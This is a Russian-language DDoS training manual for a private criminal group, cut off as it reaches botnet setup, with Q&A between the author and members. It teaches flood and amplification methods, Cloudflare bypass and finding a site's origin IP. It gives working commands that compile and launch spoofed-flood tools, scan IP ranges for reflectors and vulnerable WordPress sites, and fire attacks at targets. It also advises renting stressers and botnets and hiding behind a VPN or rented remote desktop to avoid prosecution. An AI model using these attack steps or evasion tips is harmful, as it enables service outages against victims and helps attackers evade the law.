DDOS V1.0
Я надеюсь вы не настолько глупые, чтобы сливать инфу.Буду благодарен, если этого не произойдёт. А если да, то, группа дел, допиливаюновый приват в 2.0 и набираю новую группу с новой инфой. Проебетесь сами, убив рынок.
Поехали.
ДАННЫЙ МАНУАЛ БЫЛ ПРЕДОСТАВЛЕН ЛИШЬ ДЛЯ ОЗНАКОМЛЕНИЯ. АВТОР НЕ ПРИЗЫВАЕТ ЧИТАТЕЛЕЙК ПРОТИВОЗАКОННЫМ ДЕЙСТВИЯМ.
Для начала пройдемся по плану:
1. Введение
2. Базовая теория
3. Методы DDOS атак
4. Выбор оборудования для DDOS атак
5. Настройка оборудования для DDOS атак
6. Виды защит и как их обходить
7. Безопасность и анонимность
8. Методы монетизации
9. Прочие плюшки
1. Введение
Ты(Вы) полюбому слышал(а)(и) или даже на практике знаком(а) с DDOS атаками.Кто-то видел по новостям, кто-то занимался ну и кто-то просто слышал.
В данном обучении я постараюсь максимально и просто объяснить все, как это делаетсяпрофессионалами.
Настоятельно попрошу вас не атаковать государственные ресурсы и крупныекомпании, особенно банки)))
Коммерческие организации не прощают подобного, в суде грызут жестко.
В противном случае вас может ждать уголовное дело, пусть расследование и затянется накакой-то срок, доказать успеют.Думаю , все понятно, тянуть не буду, перейдем к теории, но сначала вопросыкасательно введения.
2. Базовая теория
Для начала разберем сам термин DDOS. Для этого обратимся к вики, а потом я распишу своими словами.
DDOS - это сокращение английского выражения Distributed Denial of Service, что переводится на русский языккак «Распределённый отказ от обслуживания». Это означает отказ от обслуживания сетевого ресурса врезультате многочисленных распределенных (то есть происходящих с разных точек интернетдоступа) запросов. Отличие DoS-атаки (Denial of Service — «Отказ от обслуживания») от DDOS состоит в том,что в этом случае перегрузка происходит в результате запросов с какого-либо определенного интернет-узла.
А теперь сам:
Давайте представим ситуацию, есть некий Вася и куча бухих бомжей.
Идет Вася по улице, никого не трогает, направляется на работу.
Вдруг, из неоткуда появляется куча бомжей и начинают до него доебываться.
Что делать Васе? Его окружили и не дают пройти, более того, он даже не можетпошевелиться, потому что они озверели и начали его кусать.
Добив его окончательно они резко уходят.
Что остается Васе? Правильно, умирать или ждать скорую.В данном случае ресурс это Вася, а бомжи это наш DDOS.
Хакеры из других сфер и обычные люди часто недооценивают DDOS, но, это иявляется их ошибкой.
К примеру, чтобы дефейснуть сайт мне например понадобится какое-то время. А в данномслучае, когда все настроено, мне достаточно одной команды чтобы уебать банк подкорень.
В случае с дефейсом все могут вернуть назад, а в случае с DDOS-ом, они не смогут дажезайти на сервер, потому что он будет валяться.
Для базовой теории я думаю стоит начать с сетевых моделей. Она есть в паблике, но безнее никуда.Это основы.
В случае с DDOS мы затронем стек протоколов TCP/IP.TCP/IP - это сетевая модель передачи данных, предоставленная в цифровом виде.Данная модель описывает способ передачи данных от отправителя до получателя.
Стек протоколов TCP/IP включает в себя четыре уровня, это:
Давайте теперь по порядку разберем каждый из уровней:
1. Прикладной уровень - протокол верхнего уровня сетевой модели OSI, обеспечиваетвзаимодействие сети и пользователя.Уровень разрешает приложеним пользователя иметь доступ к сетевым службам,таким как обработчик запросов к базам данных, доступ к файлам, пересылке эл. почты.Типы данные: ДанныеФункции: Доступ к сетевым службамПримеры: HTTP, Telnet, FTP, etc.
2. Транспортный уровень - 4-й уровень сетевой модели OSI, предназначен длядоставки данных.При этом неважно, какие данные передаются, откуда и куда, то есть, он предоставляетсам механизм передачи.Блоки данных он разделяет на фрагменты, размеры которых зависят от протокола:короткие объединяет в одни, а длинные разбивает.Типы данных: Сегменты/ДейтаграммыФункции: Прямая связь между конечными пунктами и надежностьПримеры: TCP/UDP
3. Сетевой уровень - 3й уровень сетевой модели OSI, предназначенная дляопределения пути передачи данных. Отвечает за трансляцию логических адресов и имен вфизические, определение кратчайших маршрутов, коммутацию и маршутизацию,отслеживание неполадок и заторов в сети.
Типы данных: Пакеты
Функции: Определение маршрута и логическая адресация
Примеры: ICMP, GRE и др.
Я не описал канальный уровень, почему?Потому что в нашем случае о не пригодится. Для DDOS атак мы будем использоватьатаки на прикладном и транспортном уровне, редко на сетевом.
А теперь разберем, что мы будем делать с HTTP, TCP и UDP.В случае с HTTP флудом мы будем флудить огромным количеством HTTP Get/Postзапросов, да так, чтобы веб-сервер охуевал по дудосерски.
HTTP - Это соединение, устанавливаемое между клиентом и сервером, для передачиданных по протоколу HTTP. Подключение HTTP идентифицируется как <Исходный IP,исходный порт> и <Айпи приемника, порт приемника>.
На клиентском уровне протокол предоставлен кортежем:
Установка соединения между двумя конечными точками - процессмногоступенчатый.
Он включает в себя след. шаги:
1. Расчет айпи по имени хоста DNS
2. Установление соединения с сервером
2. Отправка запроса
3. ожидание ответа
4. закрытие соединения
В случае с UDP и TCP флудом - мы будем флудить огромным количеством пакетов всекунду.
НО, для начала разберем один нюанс. А именно, отличие TCP от UDP.
Если кто из вас не знает, TCP является безопасным протоколом, в отличии от UDP.
Его отличие в том, что он гарантирует доставку пакетов до адресата, в случае с UDP - онне проверяет доставку, его задача лишь отправить.
TCP имеет так называемое "тройное рукопожатие", которое устанавливается междуклиентом и сервером, если описывать кратко происходит это так:
Теперь давайте разберем подробнее:
1. Клиент, который намеревается установить соединение, посылает серверу сегмент сномером последовательности и флагом SYN.
Дальнейший алгоритм:
2. Если клиент получает сегмент с флагом SYN, то он запоминает номер последовательностии посылает сегмент с флагом ACK.Дальнейший алгоритм:
Процесс называется «трёхэтапным рукопожатием», так как несмотря на то чтовозможен процесс установления соединения с использованием четырёх сегментов (SYN всторону сервера, ACK в сторону клиента, SYN в сторону клиента, ACK в сторону сервера), напрактике для экономии времени используется три сегмента.
А теперь давайте разберем флаги TCP:
Ну а теперь перейдем к UDP.
UDP — протокол пользовательских датаграмм. Один из ключевых элементов TCP/IP, наборасетевых протоколов для Интернета. С UDP компьютерные приложения могут посылатьсообщения (в данном случае называемые датаграммами) другим хостам по IP-сети безнеобходимос т и предварительного сообщения для установки специальных каналовпередачи или путей данных.
Говоря проще, в отличии от TCP он не проверяет ничего и не устанавливаетсоединение. Он просто отправляет нужную информацию адресатам. Ну и одно из отличий
UDP от TCP - это конечно же скорость, она значительно выше.
Вопросы о методах UDP:
1. Понимание этого хватит? Не нужно заучивать принцип работы пакетов?
--Желания хватит, прочтешь еще раз – поймешь. Заучивать не обязательно, но лучше знать
2. Наверное банальный вопрос но, как тогда досят всякие топ хакерские группировки, что их не находят?
--Анонимность потом
3. Возможно ли с помощью DDOS-a получить доступ к FTP и т.д?
--Нет, доступ к FTP уже взлом, никак не DDOS.
3. Методы DDOS атак.
Методов DDOS немало, поэтому я их разделю на три категории, в зависимости оттипа протокола.
Начну пожалуй с HTTP методов.
1.1. HTTP методы
HTTP Get/Post Flood - Генерируем большое количество HTTP запросов к серверу жертвы. Вбольшинстве случаев это GET запросы на получение максимально больших элементовсайта. Каждый бот может генерировать большое количество легитимных запросов (более10 раз в секунду). Таким образом, не нужно иметь большую армию ботов илисверхприватный ботнет для осуществления данного метода атаки. Кроме GET запросовтакже могут посылаться POST запросы и осуществляться другие HTTP действия,приводящие к одному и тому же результату - перегрузке веб-сервера жертвы и егонедоступности. Реализовать можно даже со своего компьютера/сервера.
HTTP Strong - Генерируется также большое количество HTTP запросов к серверу жертвы, но,отличие этого метода заключается в том, что, отправляются пустые HTTP запросы на вебсервер. Этот метод является очень мощным и соответственно находится в привате. Я хотел его приобрести отдельным скриптом, но к сожалению в СНГ мало людей, которыевообще что-то смыслят в DDOS, а забугром толкают по знакомству. К счастью,протестировать я его смог, арендовав когда-то приватный ботнет на месяц. Метод оченьмощный, и если вам доведется встретить - покупайте.
HTTP Null - Генерируется большое количество HTTP запросов, также пустых, но отличиеэтого метода от Strong'a в том, что HTTP Strong ждет ответа от веб-сервера, а HTTP Null нет.Протестировать также довелось, метод нереально мощный.JSBypass - Метод обходящий заглушку CloudFlare и аналогов. Наверное большинству из васдоводилось встречать такую картину: Заходите вы на сайт, а там 5 секунд крутитсянепонятная картина, вот такая:
Это и есть заглушка CloudFlare. Данный метод обходит ее довольно простым образом,парсятся куки и ваша жертва мгновенно падает. Также к данному методу можнодополнительно указать прокси для большей эффективности. В ботнетах встречал крайнередко, с серверов работает идеально.
XML-RPC - Довольно непростой метод. Используя данный метод, запросы будут идти не свашего сервера, а с уязвимых сайтов на CMS WordPress. Т.е. - вы сканите диапазоны, срединих находите уязвимые сайты и при атаке подаете удаленную команду. Метод оченьэффективный, и малозатратный. Так как для его использования вам не нуженботнет или сверхмощный сервер. Достаточно того, чтобы не забанил хостинг-провайдер :)Joomla Reflection - Похожий на XML-RPC метод, принцип работы у них один, но, в данномслучае идет уже не WordPress а CMS Joomla.
Вопросы о методах HTTP :
1. Какой используется чаще всего ?
--HTTP Get/Post самый распространенный. Реже XMLRPC.
2. А атаки на логику работы приложения? Например пройтись по всем разделам и запросам сайтанебольшим ботнетом, считывая скорость ответа приложения, после фаззингом выявлять самые тяжёлыеместа приложухи и целенаправлено по ним атаковать?
--Не имеет особого смысла, если есть ботнет. Ботнет априори уебет что угодно. Но имеет смыслесли ботнет крайне мал. POST флуд лучше, например на регистрацию. Но если стоит проверка по типу капчи- смысл пропадает. Только если не найдёшь скуль инъекцию в ней
3. Ну так в этом и прикол, если ботнета нет, то через какой-нибудь Apache Bench можно найти, например,хуёво работающий кэш БД и через определённые запросы в поисковике сайта в одно лицо втащить
4. Какую актуальнее выбрать?
--XMLRPC живее всех живых, опять таки на днях Сахарный им положил РКН.HTTP флуд всегда будет актуален-это основа Layer 7 XMLRPC, а не Joomla и будет счастье. Ну и JSBypassкогда увидите Клауд с заглушкой
5. Что за лист бля))
--Потом расскажу что за лист
Я описал самые популярные и часто используемые методы, как реализовать большинствоя буду описывать уже в следующих этапах по плану.
Теперь я хотел бы поговорить о TCP методах, их довольно таки не много, в отличииот UDP, но тем не менее транспортный уровень решил затронуть начиная с TCP.
Большинство атак на транспортном уровне реализуются за счет IP спуфинга.
1.2. Методы TCP
IP спуфинг - это кратко говоря подмена обратного IP адреса. Который позволяетобманывать систему, подменяя адрес отправителя. Именно благодаря IP спуфингуневозможно вычислить атакующего.
SSYN - (Spoofed SYN) В данном случае, мы посылаем поддельные SYN-запросы на сервер,подменяя адрес отправителя (Спуфинг). Ответный SYN+ACK отправляется нанесуществующий адрес, в результате в очереди подключений появляются так называемыеполуоткрытые соединения, ожидающие подтверждения от клиента. По истеченииопределённого тайм-аута эти подключения отбрасываются. Метод очень эффективный иактуальный по сей день. От него могут защититься, но в СНГ мало у кого на это хватит ума.
SYN-ACK Flood - В данном случае, во время SYN-ACK флуда мы заваливаем поддельнымиSYN-ACK пакетами, поступающими в большом количестве. Пытаясь принять решение покаждому SYN-ACK пакету и сопоставить его с одной из записей, хранящихся в таблицесоединений, сервер жертвы выделяет на это вычислительные ресурсы (ОЗУ, проц, ипр.) для обработки потока поддельных SYN-ACK пакетов. В итоге происходит то же, что и вовремя SYN-флуда: перегрузка сервера жертвы, ведущая к его частичной недоступности илиполному пизд*цу.
Dominate - В данном случае идет большое количество TCP пакетов с разными флагами, напрактике этот метод показал большой успех.
xMAS - Данный метод бьет по закрытым TCP портам и жестко добивает процессор,заставляя их буквально плавиться.
RST/FIN Flood - В данном случае, чтобы закрыть TCP-SYN сессию, между клиентом и хостомпроизводится обмен RST или FIN пакетами. Во время RST или FIN флуда сервер жертвы навысокой скорости получает поддельные RST или FIN пакеты, не имеющие отношения клюбой из сессий в базе данных сервера. Во время RST или FIN флуда сервер жертвывынужден выделять значительное количество системных ресурсов (опять таки этооперативная память, проц и пр.) для сопоставления входящих пакетов с текущимисоединениями, что приводит к потере производительности сервера и к его частичнойнедоступности.
ACK Flood - В данном случае, при фрагментированном ACK флуде используются пакетымаксимально допустимого размера (например, 1500 байт) для заполнения значительнойполосы пропускания канала при относительно небольшом количестве передаваемыхпакетов. Фрагментированные ACK пакеты обычно легко проходят через роутеры,файрволлы и системы предотвращения вторжений, т.к. эти устройства не пересобираютфрагментированные пакеты на сетевом уровне. Как правило, такие пакеты содержатслучайные данные. Поскольку целью злоумышленника является заполнениявсей полосы пропускания внешних каналов сети жертвы, данный вид флуда снижаетпроизводительность всех серверов в атакуемой сети.
ESSYN - По сути метод TCP SSYN, но был переписан Starfall'ом в 2013 году. Ходят слухи, чтоон эффективнее. Видимо, это не слухи.
xSYN - Также метод TCP SSYN, но был также переписан Starfall'ом в 2013 году.
Вопросы о методах TCP :
1. Как определить, какой метод подходит? То есть, понятно, что задача *положить*, а вот можно липробить с первого раза или же это только методом тыка делается?--Методом тыка. Бывает что сайты ставят те же syn-coockie, которые не сразу заметишь ифильтруется, вжухно мозгов в СНГ мало, и все тупые. + смотря какая защита, но об этом позже.
2. Можно ли нескольно одновременно использовать?)
--Да :)Но смысл запускать сразу несколько, если можно запустить dominate:)
3. Какой из вариантов тяжелее отбивать куратору, клоудфлеру и т.п.?
--ACK.
Я постарался как можно доступнее описать методы TCP чтобы начать долгое путешествиепо методам UDP.
1.3. Методы UDP
UDP Flood - Во время UDP флуда сервер жертвы получает огромное количество поддельныхUDP пакетов от большого диапазона IP-адресов. Сервер жертвы или сетевое оборудованиеперед ним оказывается переполненным поддельными UDP пакетами. Атака провоцируетперегр узку сетевых интерфейсов путем занятия всей полосы пропускания. Впротоколе UDP нет понятия об установлении соединения (хэндшейк), как в TCP. Это делаетфильтрацию UDP флуда с сохранением легитимного UDP-трафика крайне сложной задачей,а также эффективным средством для переполнения канала. UDP флуд поражаетсеть пакетами, содержащими случайные или статические IP-адреса, и может бытьреализован с целью выведения из строя сервера, используя информацию о нем, такую какцелевой порт легитимного сервиса и IP-адрес назначения. Из-за наличия сложностейпроверки UDP трафика (отсутствие механизма проверки сессии как с TCP), многиеоператоры связи предлагают своим клиентам блокировку трафика по различнымкритериям, что является по сути спасением сети за счет блокировки отдельных серверов.
NTP Амплификация - Это тип DDOS атаки транспортного уровня, при котором публичнодоступный NTP (Network Time Protocol) сервер используется для генерации “мусорного”трафика. Так, отправляя короткие запросы одному из открытых NTP серверов можнополучить ответ в десятки раз большего объема (эффект амплификации). Этим мы ипользуемся, отправляя запросы с указанием адреса сервера-жертвы в качестве IP-адресаисточника запроса. В итоге сеть сервера жертвы перегружаются “мусорным” UDPтрафиком, из которого достаточно сложно выявить легитимные запросы и ответы NTP.Реализовать данный метод проще простого, как и все методы амплификаций. Данныйметод использует 123 порт.DNS амплификация - Этот тип DDOS атаки транспортного уровня использует спецификуработы DNS служб в сети. Суть заключается в том, чтобы запросить у публичного DNSсервера данные о домене и направить его ответ на атакуемый сервер. При реализацииданного вида атаки мы формируем и херачим запрос, в ответ на который DNS-сервервозвращает как можно больше данных. Например, запрос списка всех DNS-записей вопределенной зоне. Т.к. в протоколе UDP не осуществляется проверка IP-адресовисточника, хуярим короче генерацию запросов от имени сервера жертвы, указывая его IPадрес в поле исходящего адреса. Основной целью тут является заполнение канала серверажертвы объемными ответами от публичных DNS-серверов. Так, используя хороший листдля генерации запросов к публичным DNS-серверам, мы можем увеличить потокгенерируемого “мусорного” трафика до 100 раз. При этом вычислить нас или вычислитьхотя бы IP-адреса генераторов запросов почти невозможно, т.к. реальный исходящий IPадрес всегда заменяется на другой. Метод хоть и староватый, но живет и по сей день.Данный метод использует 53 порт.Chargen амплификация - Этот тип DDOS атаки транспортного уровня работает также, как иNTP амплификация, только отправляются запросы на сервера использующие службуChargen. Данный метод практически ничем не отличается от других амплификаций, ну иеще используется другой порт, 19. Данный метод также легко реализовать имеяспуфинг.SSDP амплификация - Данный метод является базируемым протоколом UDP,использующий для усиления универсальные устройства Plug and Play, что позволяетотправлять запросы, используя порт 1900. SSDP является одним из сильнейших методов,превосходящий по мощности NTP, DNS, Chargen и др.VSE - Этот тип DDOS атаки транспортного уровня нацелен на атаку серверов Valve. Оченьэффективен и используется также для других игровых серверов, юзает порт 27015.
Вопросы о методах UDP :
1. А MEMCACHED амплификация?:grin::grin:
--Свежая, не изучил еще. Допилю как изучу
2. Там как и с любой амплификацией UDP - всё просто. Лучше написать в целом что это такое. Амплификация или плечоDDOS, это поиск любого массово используемого ПО работающего с UDP по дефолту, размер ответа которого будетмногократно превышать запрос
--Обычно усиление минимум х20, иногда х50
3. И чем больше превышение, тем можно более редкое ПО искать, например малоппулярный сервис, но отдающий поUDP сотни 2 килобоайт на один запрос может быть в сто раз привлекательней NTP амплификации
4. А про низкоинтенсивные импульсные L7 атаки, например?
--Слишком сложно будет для них Low-rate DoS, расчитано то на новичков, им бы это понять
4. ВЫБОР ОБОРУДОВАНИЯ ДЛЯ DDOS АТАК
Это самый важный по моему мнению раздел, так как на этом этапе вы выбираете своюобразно говоря "пушку", с которой будете стрелять. И насколько сильно, зависит от того,что вы выберете.
Хотел бы начать данный раздел с менее затратного и соответственно менее мощного.
Это скрипты для Windows/Linux для DDOS атак и Windows софт. Данным способом новичкам можно легко класть незащищенныесайты, так как нет абсолютно никаких затрат, и при этом есть результат. Раньше подобныхсофтов было много, если кто помнит из старой школы - Лоики, Хоики, анонимусдосеры, мумми досеры и пр.; Сейчас данные софты неактуальны и ими можно забить лишьсобственный канал, но, благо, выход пока что есть. И если ты новичок - этот способ для тебя.
Второй выбор это сервера. Для начала разберемся, какие сервера бывают.
Бывают сервера:
1. Спуф
2. Нон-спуф.
Что такое спуф?
Спуф - это IP спуфинг (т.е. подмена обратного IP адреса).
Серверами со спуфом мы сможем проворачивать амплификации и TCP методы.Удобно? Безусловно.
Нон-спуф серверами мы сможем проворачивать Layer 7 атаки, такие как: GHP Flood,XMLRPC, Joomla, JSBypass и др, а также Layer 4 нон-спуф атаки, такие как: UDP/TCP Flood.Удобно? Опять-таки безусловно.
Как это бьет по карману? Спуф сервера конечно же бьют больше. Так как для нон-спуфсерверов достаточно сервера, который не забанят за скан. А там уже с насканненымиданными можно атаковать абсолютно с любого сервера. Так как в случае с XMLRPC и Joomla- трафик идет не с вашего сервера.
Но, спуф сервера мощнее, хоть и стоят дороже. Спуф методы не получится провернуть наLayer 7 серверах. Они тупо не сработают. Под скан спуфа также нужен отдельный сервер,который не забанят за скан. Обычно мне хватало дешевой VPS-ки за 4-5 евро.
Что сложнее использовать? И то, и другое легко использовать, если набить руку. Анабить руку вы сможете, изучив следующий раздел.
Третий способ это стрессеры, ну или как их любят называть скиды - панельки. Длятех, кто не знает, это такие сервисы, которые предоставляют в аренду мощь своихсерверов/ботнетов за определенную плату. Оплачивается нужный тариф, которыйвключает в себя: количество одновременных атак, мощность (если таковой выбор имеется)и конечно же бут-тайм (некий таймер атаки, который устанавливается каждый раз призапуске). Цены варьируются в зависимости от бут-тайма и мощности. В большинствеслучаев обходится дешевле спуф серверов, т.к. в данном случае вы используете мощьспуф/нон-спуф серверов сервиса, а не своих. Это очень выгодно и удобно для новичков, таккак не нужно ничего сканить и ухаживать за сервером. Купили, ввели жертву, запустилиатаку. ????? ПРОФИТ.
Ну и завершающий способ - это конечно же ботнеты. Для тех, кто не знает, ботнет это сетьиз зараженных устройств. Ботнеты бывают разных видов и с абсолютно разнымфункционалом. О них мы поговорим в следующем разделе, а сейчас хотел бы короткорассказать о плюсах ботнета.Из плюсов это конечно же мощь, такую мощь не выдадут ни сервера, ни что другое.Благодаря данной мощи можно смело рубить бабки сидя ровно.Из минусов это конечно же затраты, в первую очередь на инсталлы, аренду сервера икрипт. Также за ботнетом нужно ухаживать, если его оставить без присмотра - он умрет :(Нужно хотя бы раз в неделю делать рекрипт, иметь буллетпруф сервер иабузоустойчивый домен. Если у вас найдутся затраты на такое - это все окупится безпроблем.
ВОПРОСЫ, КАК ДОЧИТАЕТЕ
(На ботнете можно заработать не только с DDOSа)
1. Какие ботнеты норм? Сколько детектов максимум, и я так понял надо рантам крипт
--Соррика.
2. А тема с сервисами нагрузочного тестирования не работает уже?
--Стрессеры работают :)
3. Скок по цене в среднем?
--От 5$ до 10000000. От 5 бачей. бомж DDOS
4. Сколько нужно Пк чтобы средний сайт положить. Допустим дарквеб
--Дохуя) Их клауд пинали как могли, StormWall, впрочем, тоже, но реже--Много, но есть хитрости, например можно узнать IP сайта в обход клаудфлера, посмотреть у когохостится и найти другие проекты без клауда у того-же провайдера и атаковать туда, либо найти лазейку вобход клауда напрямую изучив DNS через AXFR и найдя сервис какой-нибудь на поддомене
5. Штормвалл какой атакой можно положить
--Смотря какой ботнет. Каждый ботнет выносит трафф по разному, т.к. от кода еще зависитТого же соррика Курияма Соррика хорошо вывозит л7. 1000 ботов и ты уебешь РКН на месяцокдругой с 1000 потоков л4 хромает, починим
6. Будут способы как бить по дин ип жертвы. чтоб не мог выйти норм в сеть?
--Если в скайпе – да. А так... нет,но лично когда меня ебали я перезагружал и один х*й не вставалвозможно уебали провайдера
5. НАСТРОЙКА ОБОРУДОВАНИЯ ДЛЯ DDOS АТАК
Ну и начнем данный раздел со скриптов и софтов.
Для начала хотел бы рассказать о скриптах на питоне, а именно: Sadattack и Goldeneye.Скажу сразу, запускать их можно как и на Windows, так и на никсах (Unix машины).
Данные скрипты отлично справляются с незащищенными сайтами. Можно дажевыставлять кастомно юзерагенты, количество потоков, метод (GET/POST/Рандом) и др. (вовтором скрипте).
Для того, чтобы пользоваться данным скриптом на Win, вам нужно установить Питончикверсии 2.7, его можно скачать на официальном сайте https://python.org/
Далее, установив, заходим в cmd и прописываем путь к файлу, в моем случае это:
cd Desktop
goldeneye.py
Вылезает инструкция к использованию, и приступаем к атаке, пишем:
goldeneye.py http://site.ru/ -w 20 -s 1000 -m GET
В вашем случае, можете просто написать: goldeneye.py http://site.ru/ и атака начнется сдефолтным конфигом (10 воркеров, 500 сокетов, метод GET)
Запускать sadattack нужно почти также, только указывать скрипт и URL сайта иатака запустится.
Закончив со скриптами я хотел бы поговорить о софтине под Windows, а именно:Fastream Web Stress Tester (Хотя, эта программа довольно таки старая, и что меня удивляет- она все еще умудряется работать)
Софтинка написана на ЯП С++,
Валяется вместе с исходниками.
Можно кастомно выставлять потоки, метод атаки и тип подключения.Можно вставить прокси и идти в бой.
По мощности: Смог положить даже некоторые защищенные сайты, имея не совсем уж ихороший интернет. Нагрузка в первую очередь идет на канал и проц.
Также хотел бы затронуть недавно написанный Сорриком мини-дудос бот подWindows написанный на C#.
Сама статейка - http://telegra.ph/Pishem-DDOS-bota-na-C-CHast-1-02-04
В итоге, выходит по дстату –
Оччеееень годно.
Довольно таки мощно, компильте и в бой, лучшее решение бесплатного доса.
Хочу отметить то, что в случае бесплатного доса у вас идет онли HTTP трафик. Доситьвы сможете только L7 запросами.
ВОПРОСЫ:
1. Скорее ещё одна софтина, https://tech.yandex.ru/tank/ , он под нагрузочное тестирование в рамкахлегитимного TCP/IP заточен, но позволяет выявить медленные участки кода атакуемого приложения вхудшем случае, в лучшем в одно рыло внести сайт, если таам бага есть в каком-то разделе
--Полезно. Я тя бля наверное лектором возьму. Будешь вместо меня тут распинаться
2. Эт все оборудование? А мощные DDOS атаки?
--Нет, это лишь точка в океане
3. Я бы добавил вот что, перед атакой нужно изучить всё, поддомены, почтовые сервера, админки, хостингпровайдера, CDN и так далее, собрать всё-всё о сайте, а после уже тыкать туда, куда эффективней)
--Опережаешь события.Они еще не умеют толком DDOSить
А ТЕПЕРЬ ПОЖАЛУЙ ПЕРЕЙДЕМ К НАСТРОЙКЕ СПУФ СЕРВЕРОВ.
Для начала нам нужно арендовать спуф сервак с ОС Debian, 7 или 8 - на выбор.
Итак, арендовали? Выдали? Хорошо.
Теперь качаем софтину Putty для подключения к нашим сервакам по SSH.
Логинимся под рутом:
При вводе пароля - он не отображается. Это линукс, привыкайте.
Итак, а теперь вписываем по 1 команде и ждем завершения, а потом вписываемвторую и т.д.:
apt-get update -y
apt-get upgrade -y
apt-get install gcc screen glibc wget -y
Итак, а теперь заливаем скрипты. (Все ссылки я укажу в самом конце)
Залили? Отлично, теперь нужно скомпилировать нужные скрипты. Большинствоскриптов компилятся одинаково, я покажу на примере Layer 4 скриптов, а именно Chargen.
Пишем команду:
gcc -pthread chargen.c -o chargen
Итак -
gcc - это компилятор
pthread - библиотека
chargen.c - исходник
chargen - семпл
Итак, видим что появился новый файл - chargen. Теперь, чтобы мы смогли егозапустить, выдадим ему права 777, командой:
chmod -R 777 chargen
В случае если вы скомпилили кучу скриптов, просто вводите: chmod -R 777*
Чтобы выдать права всем сразу
А теперь давайте попробуем запустить его.
Как видим, он выдал ошибку, что неверно указаны параметры. Давайте на нихподробнее и остановимся.
./chargen - команда запуска скрипта
<Target IP> - IP нашей жертвы
<Target Port> - Атакуемый порт
<reflection file> - Лист с открытыми серверами (как их добывать я опишу ниже)
<threads> - потоки (не рекомендую ставить много, так как ваша тачка может загнуться,экспериментируйте)
<pps limiter, -1 for no limit> - Лимитер пакетов в секунду (PPS - packets per second), ставимпо дефолту всегда -1
<time>- Время нашей атаки, всегда указывается в секундах.
А теперь давайте соберем команду нормально:
./chargen 127.0.0.1 80 list.txt 100 -1 9999
Запускаем, и вуаля - DDOS пошел.
Запуск у большинства скриптов похожий, поэтому сначала вписывайте./НазваниеСкрипта и смотрите какие параметры нужны каждому.
Добыча листов будет также на примере метода Chargen.
Компилим сканер, в моем случае это:
gcc -pthread chargen_scan.c -o chscan
Права 777:
chmod -R 777 chscan
И запуск.
./chscan
Смотрим, что требует:
<ip range start (192.168.0.0)> - Начало диапазона
<ip range end (192.168.255.255> - Конец диапазона
<outfile> - выходной файл
<threads> - потоки
<scan delay in ms> - задержка в миллисекундах
Также соберем нормально команду:
./chscan 95.0.0.0 95.255.255.255 list.txt 10 1000
(СКАН ЗАПУСКАТЬ НА СЕРВЕРАХ, КОТОРЫЕ НЕ БАНЯТ ЗА СКАН ( АБУЗ) )
Итак, лист есть - идем в бой.
А теперь пожалуй расскажу как компилим TCP скрипты и идем в бой.
Для них листы не нужны.
Для примера возьму метод Dominate.
Итак, скомпилили, запускаем,
./dominate
смотрим что требует:
Почти также, как в UDP. Только не указывается лист.
Ну вот, спустя такое количество времени вы уже можете брать сервер и атаковать. Приэтом, вы знаете, что и как работает, как и что настраивать. А теперь можете задать вопросыкасательно настройки спуф тачек, и мы перейдем к настройке нон-спуф серверов.
Листы = текстовики, содержащие нужные записи и пэйлоад. В случае с DNS - открытыеDNS резолверы, в случае с NTP - сервера времени и т.д.
ВОПРОСЫ
1. Скрипты актуальны на сегодня?
--Да. При хорошем раскладе можно ебашить с одного сервера до 40 гбпс
2. https://habrahabr.ru/post/331720/ эт хоть оставь, тем кто задрочиться в теме хочет
- пригодится
3. Нужны ли они? Если я допустим куплю любой ботнет, наберу пк, мне же его одного по идее хватит илинет?
--Хватит, но ботнет держать тяжело, сервера легче, дешевле
4. Будут советы, где скамить можно, а где нет?
--Да
5. Напиши хоть про то, что ОБЯЗАТЕЛЬНО через Putty нужно подключаться с тор прокси, а с linuxтерминала через torsocks. А то с первого DDOSа можно на бутылку присесть
--Да хватит впн'а или дедика,а лучше впн а заходить туды с дедика hostbubble.netшаред RDP за 600 рублей
Настройку нон-спуф серверов я думаю пожалуй начать с XMLRPC.
Берем сервер который не забанят за скан, ОС выбираем Debian 8.
Логинимся и пишем:
apt-get update -y
потом:
apt-get upgrade -y
apt-get install php curl php-curl wget gcc screen -y
И заливаем скрипты через SFTP.
И компилим вот такой командой:
gcc xmlrpc.c -Wall -ggdb -fopenmp -o xmlrpc
Выдаем права как обычно:
chmod -R 777 xmlrpcИ запускаем:./xmlrpc
И видим:
Если имеется лист - запускаем ;)
./xmlrpc http://site.ru/ list.txt 1200 100
Если листа нет - сканим.
Поехали.
Запускаем мы такие скрипт, а там такое:
Видим, что требует какой-то класс В, давайте теперь разберем что енто такое и как этоприменять. Существуют разные виды диапазонов. Я приведу в пример самый обычный,который можно встретить в повседневной жизни, к примеру:
5.5.0.0 - 5.5.255.255
Существуют также классы диапазонов, мы рассмотрим А и В.
А диапазоны содержатся вот так:
5
6
7
или
95
205
от 1 до 255
В диапазоны содержатся вот так:
5.5
95.8
26.7
У А диапазонов сканится от 5.0.0.0 до 5.255.255.25
У В если указали 5.5 то от 5.5.0.0 до 5.5.255.255
Т.е. для скана нам нужны В диапазоны, и соотвественно мы запускаем скан примерно воттак:
php xml_scan.php 95.5 100 list.txt 1
Пока идет скан - найденные записи будут записываться в указанный файл.
После того как вы насканите нормальное (примерно 10к) количество строк, высможете выходить в бой смело.
На этом настройка XMLRPC закончена.
Вы можете идти в бой.
Листы XMLRPC содержат сайты на вп, не забываем.
Настройка Joomla идет почти так же, только скан идет по диапазонам вида5.5.0.0 — 5.5.255.255. Но, как показывает практика, XML-RPC лучше чем Joomla.
Думаю, рассказывать как пользоваться стрессерами нет смысла, потому что вообщесамое легкое, что могло бы быть на свете. И поэтому мы сейчас с вами разберем ответы навопросы и приступим к ботнетам.
ВОПРОСЫ:
1. Если не знаете как пользоватьс стрессерами, то вы тупо хуярите айпи/URL, порт, время и метод и всёА платите за пакет услуг,скан и прочая поебота на админах. Ваше дело платить и хуярить.
--Сейчас все:*Охуевают по дудосерски*
2. Где доставать скрипты? Как остановить скан?
--Скрипты оставлю в конце обучения
3. Ну кроме тех что ты скинешь, по идее ещё много есть, мб форумы какие-то?
--В СНГ нет.
--Свежие методы буду присылать вы же моя армия Китайцев
Итак, ботнеты.
Для тех кто не знает, ботнет — это сеть из зараженных устройств. Чаще всего это компьютеры, но помимо компьютера там может быть все, что имеет интернет.Чаще всего это роутеры, камеры и даже видеорегистраторы, да-да не удивляйтесь ;)
И сейчас мы поговорим о настройке трех видов.
В первую очередь это самые распространенные вин ботнеты, для примера я покажу какнастраивать ботнет от @ims0rry — Курияму. У меня у самого есть лицензия, придальнейших обновлениях DDOS там будет хороший.
